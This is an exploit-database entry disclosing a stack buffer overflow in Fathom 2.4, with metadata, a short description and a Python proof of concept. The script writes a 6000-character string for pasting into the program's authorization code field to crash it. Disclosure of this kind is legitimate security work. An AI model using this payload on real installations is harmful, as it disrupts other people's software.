Fathom 2.4 - Denial Of Service (PoC)

vendor:

Fathom

by:

Gionathan Reale

7.8

CVSS

HIGH

Denial of Service

119

CWE

Product Name: Fathom

Affected Version From: 2.4

Affected Version To: 2.4

Patch Exists: YES

Related CWE: N/A

CPE: a:concord_consortium:fathom

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Windows 7 32-bit

2018

Fathom 2.4 – Denial Of Service (PoC)

A buffer overflow vulnerability exists in Fathom 2.4 which can be exploited by malicious people to cause a DoS (Denial of Service). The vulnerability is caused due to a boundary error when handling authorization codes. This can be exploited to cause a stack-based buffer overflow via an overly long, specially-crafted authorization code. Successful exploitation of this vulnerability may allow an attacker to cause a DoS.

Mitigation:

Upgrade to the latest version of Fathom 2.4

Source

Exploit-DB raw data:

# Exploit Title: Fathom 2.4 - Denial Of Service (PoC)
# Author: Gionathan "John" Reale
# Discovey Date: 2018-08-28
# Homepage: https://fathom.concord.org/
# Software Link: https://fathom.concord.org/download/
# Tested Version: v2.4
# Tested on OS: Windows 7 32-bit
# Steps to Reproduce: Run the python exploit script, it will create a new 
# file with the name "exploit.txt". Copy the content of the new file "exploit.txt". 
# Now start the program, in the field named: "Authorization Code" paste the "exploit.txt" content copied eariler.
# Click "Activate" and see a crash! 

#!/usr/bin/python
   
buffer = "A" * 6000

payload = buffer
try:
    f=open("exploit.txt","w")
    print "[+] Creating %s bytes evil payload.." %len(payload)
    f.write(payload)
    f.close()
    print "[+] File created!"
except:
    print "File cannot be created"